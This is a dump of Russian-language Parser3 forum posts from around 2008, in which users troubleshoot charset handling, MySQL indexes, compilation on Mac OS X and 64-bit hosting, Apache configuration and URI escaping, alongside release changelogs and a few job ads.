"66604","пояснение: выкинули не libxml, а её часть, отвечающую за загрузку файлов по http."
"66609","Кто виноват в том, что POST-параметры из FF3 не приходят в $form:fields, а оказываются в $request:body?\
\
FireFox 3 RC2 принудительно дописывает \"charset=UTF-8\" в Content-Type ajax-запроса. В результате параметры приходят не туда, куда нужно.\
\
Это сервер определяет, куда что попадёт? Или Парсер? Или это вообще глюк FF3?"
"66610","Пока он не понимает только функции внутри JSON.\
Вот, думаю, куда его встроить..."
"66622","на то он и $request:body чтобы в него приходило request body, т.е. содержимое тела запроса. \
\
В $form:fields параметры не приходят если они неправильно закодированы на клиентской стороне, например $response:charset у нас windows-1251, а клиент возвратил кодированное в utf-8, в вашем случае судя по всему происходит что-то похожее."
"66624","- поправлена загрузка ^xdoc::load[http://...]\
\
- добавлен default getter:\
\
[code]a.p\
@CLASS\
a\
\
@create[]\
$a[a]\
\
@GET_DEFAULT[sName]\
^throw[;Requested undefined field '$sName'.]\
\
\
index.html\
@USE\
a.p\
\
@main[]\
$oA[^a::create[]]\
$oA.a\
$oA.b\
[/code]"
"66625","Что еще может значить \"неправильно закодированы\"?\
Я думал про кодировку, но:\
- везде используется UTF-8;\
- FF3 тоже ставит для запросов UTF-8;\
- в $request:body всё приходит в правильном виде, в том же UTF-8."
"66626","Расшифровка: \"Wonder, выложи класс!\" :-)"
"66628","У Вас Парсер установлен и работает, установите теперь SQL драйвер для MySQL и все должно заработать. Так же в прошедшую субботу этим занимался(сайт на мастерхосте). Бинарник для 6.2 нормально работает на 6.3"
"66629","[code]CREATE TABLE IF NOT EXISTS `stat_ya` (\
  `rate_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\
  `word_id` int(11) NOT NULL DEFAULT '0',\
  `site_id` int(11) NOT NULL DEFAULT '0',\
  `rate` tinyint(2) NOT NULL DEFAULT '0',\
  UNIQUE KEY `ix_uniq` (`rate_date`,`word_id`,`site_id`),\
  KEY `site_id` (`site_id`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;[/code]"
"66630","Я бы попробовал другой уникальный ключ \
\
[code]UNIQUE KEY `ix_uniq` (`site_id`,`word_id`,`rate_date`)[/code]\
\
_вместо_ двух ваших.\
\
ну и то, что в предыдущем посте написано тоже нужно сделать."
"66722","правда, я BETWEEN не смог сделать - ерунду какую-то с ним выдавал вместо нужных данных...\
\
а как до таких индексов самому дойти? есть какой-то софт для мускуля смотреть план выполнения запроса? просто в другом месте тоже похоже дело в индексах, а как я раньше делал методом угадывания тут не получается :(\
[code]\
TYPE: table\
INFO: 53.18 ms/0 KB/0 blocks\
ROWS: 30\
QUERY:\
SELECT k_site.site_id as id, k_site.domain as domain, AVG(stat_ya.rate) as rate FROM stat_ya,k_site WHERE stat_ya.site_id = k_site.site_id AND stat_ya.word_id = 14 AND stat_ya.rate_date > '2008-06-05 01:18:50' GROUP BY stat_ya.site_id\
EXPLAIN:\
id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra	\
1	SIMPLE	stat_ya	ALL	ix_uniq				148961	Using where; Using temporary; Using filesort	\
1	SIMPLE	k_site	eq_ref	PRIMARY	PRIMARY	4	stat_ya.site_id	1		\
\
CREATE TABLE IF NOT EXISTS `stat_ya` (\
  `rate_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\
  `word_id` int(11) NOT NULL DEFAULT '0',\
  `site_id` int(11) NOT NULL DEFAULT '0',\
  `rate` tinyint(2) NOT NULL DEFAULT '0',\
  UNIQUE KEY `ix_uniq` (`site_id`,`word_id`,`rate_date`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
CREATE TABLE IF NOT EXISTS `k_site` (\
  `site_id` int(4) NOT NULL AUTO_INCREMENT,\
  `domain` varchar(255) NOT NULL DEFAULT '',\
  PRIMARY KEY (`site_id`),\
  UNIQUE KEY `ix_domain` (`domain`)\
) ENGINE=MyISAM  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1466 ;\
[/code]"
"66724","Подскажите, пожалуйста.\
\
Есть несколько доменов, ведут они фактически на один и тот же сайт (синонимы). Только в зависимости от домена выдается разное содержание. Как сделать так, чтобы для каждого сайта по адресу http://domen/favicon.ico открывалась своя иконка, если иконки физически под другими именами?\
\
Т.е. например \
[code]\
http://site1/	иконка	site1.ico\
http://site2/		site2.ico\
http://site3/		site3.ico\
[/code]\
Чтобы на сайте http://site2/ была иконка site2.ico, но адрес иконки был бы http://site2/favicon.ico"
"66726","Ну тут для начала неплохо бы базу привести в порядок.\
в таблице `k_site` видно, что site_id автоинкрементное числовое поле, поэтому в stat_ya у site_id тип должен быть такой же, т.е. int(4) not null. + в обеих таблицах они скорее всего unsigned (т.е. положительные). Default 0 писать не нужно, так как для int not null ноль и так значение по умолчанию. Тоже самое касается (подозреваю) word_id.\
\
Сам запрос я бы написал так:\
\
[code]SELECT k_site.site_id as id, k_site.domain as domain, AVG(stat_ya.rate) as rate \
FROM stat_ya JOIN k_site ON stat_ya.site_id = k_site.site_id \
WHERE stat_ya.word_id = 14 \
AND stat_ya.rate_date > '2008-06-05 01:18:50' \
GROUP BY stat_ya.site_id \
ORDER BY NULL[/code]\
\
и тогда смотреть.\
Когда приводите запросы - форматируйте их хотя бы слегка. Это не код который можно скопировать и проверить у себя. Приходится бегать глазами по длинной строке.\
\
UPD. Думаю что так как один индекс у вас ушел на объединение таблиц (этого в первом посте не упоминалось), то терерь вам надо добавить еще один индекс, либо word_id,rate_date либо rate_date,word_id в зависимости от того какие собственно данные у вас в таблицах. Попробуйте оба и посмотрите результат"
"66727","Какие права на директории надо ставить?"
"66728","У меня примерно тоже самое, что и у BeaVe.\
Выкладывай @parse[], я соберу всё воедино и обнародую класс."
"66737","Как определены права для главной страницы форума и страницы отправки сообщений?"
"66738","я не раз говорил, что у imp1 системы раздачи прав нет, но что она _может_быть_доделана_."
"66744","Только начинаю осваивать парсер. Прописал в .htaccess ErrorDocument 404 http://www.mypage.ru/404.html При запросе страницы с файлом, отличным от .html (например, 1.gif) открывается моя страница 404.html. А при запросе страницы 1.html (которой нет на сервере), выдается ошибка парсера. Что нужно сделать, чтобы на запрос несуществующей страницы html тоже выдавалась страница 404.html?\
\
Спасибо."
"66746","кто-нибудь ставил parser на хостинг от 2х4?"
"66750","Как прикрутить .ехе вообще не нашел (постоянно ругается на попытку использовать именно exe в качестве модуля), а dll вываливает application pool в stop с ошибкой что неправильные хэдеры в модуле...\
\
Кто ставил? У кого какие соображения?"
"66751","Обыскал всё уже, ссылок нет. Сайт в контрибе лежит. От леопарда ясное дело не подходит."
"66752","А то я уже убил день на этот замечательный инсталлер и сейчас дошёл до этого же места...\
\
В Makefile у меня такая же строка: CXX = g++\
\
[code]/usr/libexec/gcc/powerpc-apple-darwin8/4.0.1/ld: Undefined symbols:\
__Unwind_Resume\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[2]: *** [all-recursive] Error 1\
make[1]: *** [all-recursive] Error 1\
make: *** [all-recursive] Error 1[/code]\
\
Ах да, Макось 10.4"
"66754","Здравствуйте.\
\
В auto.p стоит:\
\
[code]@auto[]\
#source/client charsets\
$request:charset[utf-8]\
$response:charset[utf-8]\
[/code]\
\
А здесь все-равно строки плохо обрезаются:\
http://sport-x.ru/news/ \
(в конце каждой строки неизвестные символы, плюс длина строк из 1 русской буквы = 2 символа)."
"66755","http://www.parser.ru/forum/?id=66752\
\
Ни много ни мало но вчера убил на это, ну если не целый день, то пол дня точно. ))"
"66756","Собирается ли libgc?"
"66757","Ага, BoehmGC собрал. Собирал 3.2.3 и 3.2.1."
"66758","чтобы хранить по 2 байта на символ.\
\
А проблема с match'ем по UTF — старая, это да."
"66759","[code]g++ -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/opt/local/var/macports/software/boehmgc/7.0_1/opt/local/lib -lgc -lm[/code]\
\
Получил в дире targets/cgi шестимеговый файл \"parser3\", который если вызвать из веба говорит \"500\", а если из шела - то \"Illegal instruction\"."
"66760","Поставил из Макпортов gcc-apple-4.0\
\
Половина путей руками\
[code]\
g++  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L../../../../gc/lib -lgc   -lstdc++ -lm[/code]\
\
[code]Parser/3.2.1sp2 (compiled on powerpc-apple-darwin8.11.0)[/code]\
\
Ужасно..."
"66761","У меня хостинг на русониксе, тариф первый плеск, там как раз 64битная система"
"66762","Если на хостинге стоит какой-нибудь ImageMagick, то есть 100%.\
\
p.s. А просто попробовать вызвать утилиту \"религия\" не позволяет?"
"66763","если таки собрали, может выложите и пришлёте ссылку?\
\
+ до кучи было бы здорово, если бы собрали и 323, все таки с 321 изменений немало, imho..."
"66764","[code]\
RewriteEngine On\
RewriteBase /catalog/\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)/([A-Za-z0-9-]+)/([A-Za-z0-9-]+)/?$ index.html?cid=$3&pid=$2 [L,QSA]\
[/code]\
\
Если открываю http://site/catalog/, то открывается нормально. Если открываю http://site/catalog, то ошибка 400 - Bad Request. Подскажите, пожалуйста, почему так?"
"66765","Парсер по-умолчанию использует кодировку UTF-8, так что можно вообще не писать в конфигурационном файле $request/response:charset[utf-8]."
"66767","А ты видел где-то под леопард?"
"66769","Т.е. ни при каких обстоятельствах я не смогу посчитать нормально длину строки в юникоде?"
"66771","http://anapa-surfing.ru/f/1/parser/"
"66772","из некоторых из них следует, что прекрасно работает парсер из раздела \"скачать\".\
\
а пока ваше сообщение воспринимается так: \"я тупой, я не хочу ничего читать и думать, дайте мне готовое или ткните меня носом в конкретное решение.\""
"66773","но, при желании, обходится через MySQL, к примеру."
"66774","он и под iis6 через раз работает"
"66777","подскажите плз, как организовать выгрузку данных в формате, который может подцепить эксель. проблема в том, что данные в базе данных содержат символы переноса строки и , соответственно, эксель в этих местах считает, что началась новая строка в файле."
"66779","[quote]добавлены @OPTION\\nlocals и @method[vars][locals][/quote]\
\
Очень хотелось бы такую же возможность добавить в конфигурационный файл Парсера. Чтобы не прописывать это для каждого класса, а для всех сразу.\
\
Можно это добавить?\
\
Спасибо за новые версии! ))"
"66780","- эта опция будет действовать \"на класс\" (пока это не так), соотв. применибельности к методу @conf[] она иметь не может;\
- эта опция немного переключает синтаксис методов в классах, но не поведение классов, соотв. ни о каком её наследовании речи не идет. она будет действовать только в рамках класса, где написана;\
- эту опцию можно указать в классе MAIN, но и действовать она будет на класс, т.е. только на MAIN, т.к. пользовательские объекты не являются наследниками класса MAIN (даже если бы я планировал делать её наследование);\
- я против \"глобальности\", даже в таком виде.\
\
один из примеров, когда \"глобальность\" опции может сломать обратную совместимость: на сайте используются классы, которые не могут функционировать с включением данной опции (например используется отложенная инициализация переменных или методы просто используют необъявленные в конструкторах переменые класса).\
\
включение этой опции глобально приведёт к появлению проблем (сайт перестанет работать), которые обнаружить будет сложно. кроме того, если классы написаны кем-то, придётся лезть и разбираться в них, лишь для того, чтобы всё продолжало работать."
"66781","Как раз было бы удобно, если по-умолчанию всегда эта опция была включена всюду. Собственно по этой причине я расспрашивал о возможности вообще такое сделать.\
\
Получается придется во всех классах вписывать такую опцию... \
\
Ну, хорошо хоть таким образом можно избавиться от описания этих локальных переменных))) Тоже много экономит!"
"66782","Есть винда Windows 2003 Server Enterprise, парсер 3.2.2.\
Парсер не отрабатывает, все время предлагает скачать файл вместо отображения страницы.\
Настройки апача переносил с винды ХР SP2.\
\
На ХР работает, а на серверной оси - нет.\
\
В чем может быть проблема?"
"66784","На ХР все работает, поэтому перенес эти настройки апача на сервер.\
Создал папку, в которую кинул .htaccess и index.html.\
Опять же на ХР работает, копирую на сервер - не работает.\
Права на папку установленного парсера поставил полные для пользователей, на папку с .htaccess и index.html поставил такие же права.\
\
Но на сервере по-прежнему не отрабатывает."
"66785","XP и server 2003 - разные вещи"
"66786","Чуть позже выложу оба лога, в сумме 150 мб, почищу сначала."
"66787","не надо 150Mb и даже чистить не надо.\
\
нужны только строки соответствующие тому моменту, когда у вас случается \"не работа\""
"66788","Про это и говорю, может, не так выразился."
"66789","- если во [i]входящем[/i] POST запросе в заголовке content-type указана кодировка, то теперь $form нормально заполняются (был [url=\"/forum/?id=66609\"]баг[/url])\
\
- если во [i]входящем[/i] POST запросе указана кодировка, то декодируем именно из неё, а не из того, что задано в $response:charset (в этом случае хак с \"перебором\" $response:charset не работает)\
\
- кодировку, указанную во [i]входящем[/i] POST запросе можно узнать из $request:post-charset (например чтобы ответ выдать в ней-же)\
\
- при ^file::load[...;http://...;$.method[POST]] в заголовок content type [i]исходящего[/i] POST запроса теперь по умолчанию добавляется информация о кодировке, в которой отправляются данные. это поведение можно отключить (а если отправляете серверу, где обработчик -- старая версия парсера, то отключать это [b]нужно[/b]) с помощью опции $.omit-post-charset(true)\
\
- в одном файле теперь можно описывать несколько классов, при этом метод @auto[] каждого класса будет выполнен (ранее выполнялся только 'последний') и не будет проблем, в случае если несколько классов имеют @BASE.\
\
- исправлено [url=\"/forum/?id=66326\"]падение в core[/url], если пришел POST запрос с content-type == multipart/form-data без boundary"
"66793","[11/Jun/2008:15:08:41 +0400] \"GET /reg/ HTTP/1.1\" 200 491520 \
Client-info: 77.232.133.2 - - \
From: \"-\" \
Referer: \"-\" \
User-Agent: \"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\" \
Accept: \"text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\" \
Accept-Encoding: \"gzip,deflate\"\
\
В результате скачал файл 74jc36x5\
По содержимому это parser3.exe"
"66794","ну и не нашел я там как сделать, чтобы строка не разбивалась на части при экспорте.\
еще раз:\
в базе данных в ячейке в тексте встречаются символы перевода строки. это приводит к тому, что 1 строка базы данных при экспорте и потом импорте в эксель воспринимается как несколько строк.\
как убрать символы перевода строки при экспорте?"
"66796","задал энклозер \" и разделитель ^\
все нормально экспортируется и импортируется в эксель, но там где в данных встречается возврат каретки эксель по прежнему воспринимает как начало новой строки в таблице."
"66797","разделитель, принятый в cvs (Comma Separated Values) - запятая, и я не вижу особых причин менять его.\
\
лично у меня всё (import/export cvs файлов в excel) прекрасно работает в случае использования encloser (\") и separator (,), и никакие переводы строк (которые оказывается между encloser-ами) не мешают.\
\
приведите небольшой cvs файл, который вы создаёте парсером, и который у вас не загружается нормально excel-ем."
"66798","- пофикшена регрессия, добавленная то-ли в beta5: ошибка при создании xml, в случае если в нём есть include|import|DOCTYPE с localhost://, и в подключаемом файле есть DOS-переводы строк или BOM код.\
\
- переделан механизм locals (должно работать, но лучше перепроверить)\
\
- пользовательским классам можно определить метод @GET[], который будет вызываться при обращении к объектам этого класса в скалярном контексте. например можно делать так: ^if($oMyObject){...сюда попадём если вызванный runtime метод @GET[] вернёт не 0 или объект, значение которого в скалярном контексте не равно 0...}. в общем по аналогии с объектами системных классов ^if($таблица){ сюда попадём если в таблице есть строки }"
"66803","Как работать с soap на php я вроде разобрался: подключаешься к файлу, описывающему методы объекта, создаешь объект класса SoapClient и вперед на мины использовать его методы. \
В парсере подобный класс есть (судя по поиску нет)?"
"66806","в ней не поддерживаются комплексные типы.\
думаю в скором времени выложу."
"66811","Нужен программист со знанием Parser, желательно также знание PHP, MySQL, HTML для поддержания и развития стартап проекта.\
Работа в Москве, в офисе, полный рабочий день (возможна частичная занятость). Хорошая зарплата (пишите, договоримся).\
dima.korobov@gmail.com или стучите в icq 233-079-203"
"66812","Чета заваливает серверный лог ошибками такого типа:\
[quote]\
[Tue Jun 17 13:00:04 2008] [error] [client 10.1.1.97] \
[Tue Jun 17 12:59:06 2008] [error] [client 195.128.128.3] , referer: \"тут какой-нть реферер\"[/quote]\
\
заваливает хорошо, например за вчера их ~13000. Хотя сайт при этом работает.\
\
Так было не всегда. Примерно с января 2008, видимо после перехода на 3.2.2\
\
Parser/3.2.2b (compiled on i386-pc-win32)\
Win Server 2003 R2\
\
\
Пробовал погуглить, правда ключевых слов то нету :)\
Вот нашел очень похожее на мое тут:\
\
http://marc.info/?l=apache-httpd-users&m=116350956027012&w=2\
\
Может это оно?\
\
[quote]One possibility is that one of your CGI's is writing a null line to\
>> STDERR. \
[/quote]"
"66813","Первый раз ставлю парсер на линукс сервер. В httpd.conf поставить AllowOverride   \
All. После этого сайт выдает такое сообщение :\
/: '/var/www/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/cgi-bin/auto.p', fuid(0)!=euid(48) or fgid(0)!=egid(48) [parser.runtime]\
--------------------------\
Сайт находится в /var/www/html\
Оформлено как виртуальный сервер. Если правильно понимаю - проблемы с правами на файлы? Редактирую под рутом."
"66814","Посмотрел parser имеет группу lp. Наверно так было скомпилировано. Попробую поменять."
"66815","Группу поменял но выяснилось что egid(48) это группа \"апачи\". То есть процесс с группой \"апачи\" пытается запустить парсер с группой \"рут\"  и ничего хорошего не выходит. Как это лечить?"
"66817","надо попробовать таки вникнуть в суть сообщения об ошибке (можно призвать в помощь FAQ).\
\
если не получится, всегда можно собрать парсер с отключенным safe-mode (за отличиями между ними -- в FAQ) или скачать уже собранное нами с отключенным safe mode (за ссылками -- в поиск по форуму)."
"66820","мест, где в принципе может туда выводиться null string не нашел.\
\
попробуйте посопоставлять время записей в error.log со временем записей в parser3.log и access.log -- вдруг что обнаружите?\
\
P.S. мы не испольуем win32 хостинг, на unix я подобных записей не вижу."
"66822","Нужен человек для периодических исправлений и доработки сайта www.ts-market.com . Движок написан на парсере. Отсюда требование - знание парсера. Работа нерегулярная, сдельная, объёмы небольшие. Жителям Зеленограда - особое предпочтение, так чтобы было удобно обсуждать детали и рассчитываться.\
Предложения со стоимостью человекочасов шлите на info # ts-market.com"
"66823","Здравствуйте... Наблюдается некоторый баг, только пока неясно, кто виноват.\
В firefox 3 (который благополучно вышел сегодня) при запросе аяксом(постом) в парсер не передаются параметры. Точнее: при использовании JsHttpRequest они передаются, а при использовании jquery и ExtJs - нет. (Насчет prototype не знаю, не пробовал).\
Причем: на php $_REQUEST['parameter1'] - приходит.\
А в парсере: $form:parameter1 - нет...\
Впрочем, если аякс-запросы делать не постом, а гетом, то вроде как все работает...\
Вот... Такое наблюдение... Может у кого будут комментарии по этому поводу."
"66825","Такое возникает при попытке открыть ссылку с параметрами на \
русском: index.html?lalala=ляляля\
\
Apache 2.2\
CharsetDisable On не работает (видимо это для версий пониже. апач с ним просто не стартует)"
"66826","если выводите ссылки скриптом, то оберните их в taint:\
\
^taint[uri][$uri]"
"66828","$cn[Русский] $cn \
<br>=>\
$cn_uri[^taint[uri][$cn]] $cn_uri\
<br>=>\
$cn_back[^taint[js][$cn_uri]] $cn_back\
\
Русский \
=> %D0%F3%F1%F1%EA%E8%E9 \
=> Русский\
\
тоесть нереально что-ли сделать window.open('index.html?param=Русский и всякие козяблы что JS споткнется') ?"
"66829","Нужно написать модуль загрузки файлов + доработать существующий сайт.\
Координаты и условия работы жду на мейл dimys{Собачка}newmail.ru\
Всем спасибо."
"66830","[code]$uri[index.html?param=Русский и всякие козяблы что JS споткнется]\
window.open(escape($uri))[/code]\
\
?"
"66831","$cn[http://yandex.ru/yandsearch?text=Русский язык \"в кавычках\" 'в одинарных'] $cn \
<br>=>\
$cn_uri[^taint[uri][$cn]] $cn_uri\
<br>=>\
<script>window.open(escape('$cn_uri'))</script>\
\
И получаем бурду в адрес...\
\
что интересно, на freebsd у меня apache2 стоит и все работает с русскими параметрами, на iis работает, а вот пришлось поставить apache 2.2 на висту, по причине неработоспособности парсера с iis7 и такие вот грабли..."
"66835","Кодировать конечно нужно не весь uri, а только то что нужно...[code]\
@main[]\
$uri[http://yandex.ru/yandsearch/?text=] \
$text[Русский язык \"в кавычках\" 'в одинарных']\
<script>window.open('$uri' + escape('^taint[js][$text]'))</script>[/code]"
"66836","ну я так понял имеете ввиду не escape('^taint[js][$text]')) а escape('^taint[uri][$text]'))\
\
хотя... и так и эдак не работает :) получается бурда..."
"66837","Что такое бурда?"
"66838","http://slovari.yandex.ru/search.xml?text=%D0%B1%D1%83%D1%80%D0%B4%D0%B0"
"66839","В таком случае вперед - http://www.google.ru/search?q=utf8+to+ucs2+conversion+failed&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ru:official&client=firefox-a"
"66840","проверял и работает"
"66843","После отправки формы, получаю:\
[code]\
Как нам пришлось помучиться\
/../data/cache/design/../data/../data/templates/design\
[/code]"
"66844","http://decodr.ru/ - этот так не глючит. Глючит по-другому :)"
"66847","Есть код отвечающий за удаление сообщения и попутно апдейтящий сопряженные таблицы:\
[code]^void:sql{\
	DELETE FROM post\
	WHERE id = '$post_list.id'\
	^;\
	UPDATE themes\
	SET reply = '^eval($themes_reply - 1)'\
	WHERE id = '$form:themes'\
	^;\
	UPDATE forum\
	SET post = '^eval($forum_post - 1)'\
	WHERE uri = '$form:forum'\
	}[/code]\
\
он работал и вдруг (возможно после обновления Парсера 3.2.3) перестал работать, теперь ругается следующими словами:\
\
[code]DELETE FROM post WHERE id = '162' ; UPDATE themes SET reply = '11' WHERE id = '10' ; UPDATE forum SET post = '53' WHERE uri = 'technical'\
\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';\
	UPDATE themes\
	SET reply = '11'\
	WHERE id = '10'\
	;\
	UPDATE fo' at line 3[/code]\
\
Что не так и как должно быть?"
"66849","и правильный код теперь будет выглядеть так:\
[code]	^void:sql{\
	DELETE FROM post\
	WHERE id = '$post_list.id'\
	}\
	^void:sql{\
	UPDATE themes\
	SET reply = '^eval($themes_reply - 1)'\
	WHERE id = '$form:themes'\
	}\
	^void:sql{\
	UPDATE forum\
	SET post = '^eval($forum_post - 1)'\
	WHERE uri = '$form:forum'\
	}[/code]"
"66850","лучше разбить на несколько, но если у вас в коде все грамотно (см. рекомендации по ссылке) то можно в строке соединения с mysql указать опцию ?multi_statements=1 и все должно работать как раньше."
"66852","У меня в cms есть редактор xsl шаблонов, которые храняться в файлах на диске. При изменении шаблона загружается файл и его содержимое выводиться в <textarea>.\
\
Когда я создаю новый шаблон,  например с текстом:\
[code]<a href=\"/search/?q=query&amp;cat=car\">Найти все авто</a>[/code]\
затем сохраняю и открываю его через \
[code]<textarea>^untaint{$file.text}</textarea>[/code]\
то в textarea выводится\
[code]<a href=\"/search/?q=query&cat=car\">Найти все авто</a>[/code]\
в исходном коде страницы:\
[code]&lt;a href=\"/search/?q=query&amp;cat=car\"&gt;Найти все авто&lt;/a&gt;[/code]\
Естественно, что при сохранении открытого текста опять в файл &amp; заменяется на &, так как в поле показывается именно &.\
Если при открытии в textarea заменять & на &amp;, даже конструкция &amp;mdash; выводиться не текстом, а как тире, соответственно и сохраняется в файл как тире.\
Так быть и должно?\
Подскажите пожалуйста как это можно исправить."
"66853","[quote]Так быть и должно?[/quote]\
\
если я верно понял написанное, то нак быть не должно.\
\
\
[quote]Подскажите пожалуйста как это можно исправить.[/quote]\
\
напишите простой код, который читает файл и показывает данные, и который записывает полученное POST-ом обратно в файл. если ошибочное поведение сохранится -- приведите этот код (это строк 10-15 кода). нет кода -- невозможно подсказать как исправить."
"66855","Хочу попробовать хостинг на http://www.jino.ru/services/hosting.html\
Написано что Parser есть. Вот решил посоветоваться, может кто уже имел грабли или же наоборот, там все работает не вызывая нареканий.\
\
Что скажите?"
"66856","Конструкция:\
[code]^if(^str.match[\\-]){есть совпадение}{нет совпадения}[/code]\
отъедает в два раза больше памяти чем:\
[code]$str[^str.match[\\-][]{есть совпадение}][/code]\
или:\
[code]^if(^str.pos[-] > 0){есть совпадение}{нет совпадения}[/code]\
\
Чудно... хотя по сути операции идентичные."
"66857","к таким утверждениям стоит прикладывать код, которым это тестировалось.\
\
btw: если есть возможность пользоваться .pos -- то стоит пользоваться именно им, он быстрее, т.к. нет компиляции регулярного выражения и поиска по нему. идет просто поиск подстроки.\
\
что касается сравнения двух приведённых match -- то они делают разное, скорее всего именно из-за этого первый расходует больше памяти."
"66858","- немного подправлен компилятор на предмет разбора 'def' в выражениях и теперь конструкции ^if(defXYZ){wrong, must be exception} выдаёт exception (как и должно быть);\
\
- добавлен статический класс inet, который пока имеет 2 метода ^inet:aton[IP address] и ^inet:ntoa(number), аналогичными mysql-ным (и perl-овым) методам INET_ATON и INET_NTOA (т.е. теперь не придётся [url=\"/examples/int-ip/\"]так[/url] извращаться);\
\
- @OPTION переименована в @OPTIONS;\
\
- у @OPTIONS кроме 'locals' теперь обрабатывается и 'append': к указанному в @CLASS классу будут добавлны методы. с помощью данной опции проще выносить часть редкоиспользуемых кусков в отдельные файлы и загружать их по требованию с помощью ^use[]:\
\
[code]\
my.p\
====\
\
@CLASS\
my\
\
@method1[]\
method1\
\
my_addon.p\
==========\
\
@CLASS\
my\
\
@OPTIONS\
append\
\
@method2[]\
method2\
[/code]"
"66859","Я заведомо взял большой текст где нет ни одного дефиса.\
И по факту первый и второй вариант ничего не делали.\
\
т.е. код был такой\
\
[code]$str[большой текст без дефиса]\
^if(^str.match[\\-]){^rem{Здесь ничего не было потому что я заранее знал что результат будет нулевым}}[/code]\
\
и соответственно\
\
[code]$str[^str.match[\\-][]{}][/code]\
\
Последний в два раза быстрее."
"66860","P.S. В крайний случай, если уж версия с сайта будет тупить, то можно будет и собрать самим. Тогда уже маловероятно, что будет какая-то несовместимость."
"66862","По характеристикам перестал переживать, т.к. последнее время пользуюсь только VPS. По ценам устраивает компания FirstVDS."
"66863","Заранее сорри, что длинновато получилось, но зато все как было - во всех подробностях.\
\
Системная информация - http://webxl.ru/\
Версия Apache:  1.3.41 (Unix)\
Версия MySQL: 5.0.51a-community-log\
Версия ядра: О/С 2.6.23.15-80.fc7\
\
после запуска в логах пошла ошибка: …driver failed to initialize client library './lib/libmysqlclient.so'…\
\
зашел в FAQ, откуда скопировал решение и написал в службу поддержки, попросив сказать мне путь который нужно указать.\
\
[b]прислали:[/b]\
[quote]Есть\
/usr/lib/libmysqlclient.so\
а также есть\
/usr/lib64/libmysqlclient.so\
Попробуйте один из них. [/quote]\
\
[b]пробую, и проблема принимает иной вид:[/b][code]\
[Mon Jun 23 16:20:30 2008] /forum/: /home/am/mysite.ru/forum/auto.p(26:2): './lib/libparser3mysql.so' ./lib/libparser3mysql.so: wrong ELF class: ELFCLASS64 [<no type>][/code]\
\
[b]поискав подобные проблемы на форуме, написал ответ:[/b]\
[quote]Не заработало. Возможно дело в том что библиотека и там и там 64 битная, а нужна 32. Что делать?[/quote]\
\
[b]пришел ответ:[/b][quote]\
Здравствуйте.\
Мы пробовали переустановить парсер однако безрезультатно.\
Рекомендуем Вам обратиться к разработчикам parcer с вопросом о данной проблеме.[/quote]\
\
[b]продолжаю переписку:[/b]\
[quote]Судя по записям в логе, все упирается в библиотеку libmysqlclient.so\
На форуме парсера нашел решение, сводящиеся к поиску нужной библиотеки, которая должна быть 32 битной, а не 64.\
Судя по тому, что вы пробовали это было экспериментирование с libparser3mysql.so - с которым все порядке.\
\
Вот запись с лога, на последней строчки (ELFCLASS64) хорошо видно, что что-то не так с используемой платформой.\
[Mon Jun 23 16:20:30 2008] /forum/: /home/am/mysite.ru/forum/auto.p(26:2): './lib/libparser3mysql.so' ./lib/libparser3mysql.so: wrong ELF class: ELFCLASS64 [<no type>]\
\
Видимо все таки нужна, соответствующая libmysqlclient.so. Может вы можете ее предоставить?\
\
Можно узнать, что вы поменяли? Насколько я помню, раньше проблем подобного рода не возникало.[/quote]\
\
[b]приходит ответ:[/b]\
[quote]Здравствуйте.\
Полностью перекомпилировали весь Ваш parser - помогло. Как Вы и говорили, проблема в том, что предоставленные разработчиками бинарные версии не совместимы с нашей платформой, поэтому полная перекомпиляция из исходных кодов помогла.[/quote]\
\
[b]попробовал, пишу ответ:[/b]\
[quote]Здравствуйте. Спасибо, но нарисовалась следующая проблема, теперь перестали обрабатываться парсером простые файлы, имеющие код не имеющий отношения к mysql.\
Пример тестовая страница http://mysite.ru/test.html\
\
и удивительно следующее, что с обычным парсером все наоборот, как раз тестовая страница работает, а все что связано с mysql - нет.[/quote]\
\
[b]на что пришло следующее:[/b][quote]\
Здравствуйте.\
Достаточно много времени мы эксперементировали с parser\\'ом, однако результатов мало. Старый бинарник работает с test.html но не работает с mysql. Бинарник скомпилированный нами работает с /forum/ но не работает с test.html\
При этом мы пробовали перекомпилировать файл:\
БЕЗ XML\
С опцией --disables-safe-mode\
Результатов это не дало.\
\
Возникающая ошибка \\\"Premature end of script headers\\\" однако ничего из перечисленного на странице http://www.parser.ru/faq/install/  не помогает.\
\
По всему видно, что проблема здесь в сборке парсера (наша сборка работает с mysql но не отображает test.html)\
Так же, может быть файл test.html пытается обратиться куда-то, куда нет доступа у парсера нашей сборки и из-за этого возникает ошибка.\
\
Есть три варианта. Вы можете через .htaccess подключить к форуму файл parser3.cgi а для остальных файлов подключить файл parser3.cgi-txt (это файл который обрабатывает test.html).\
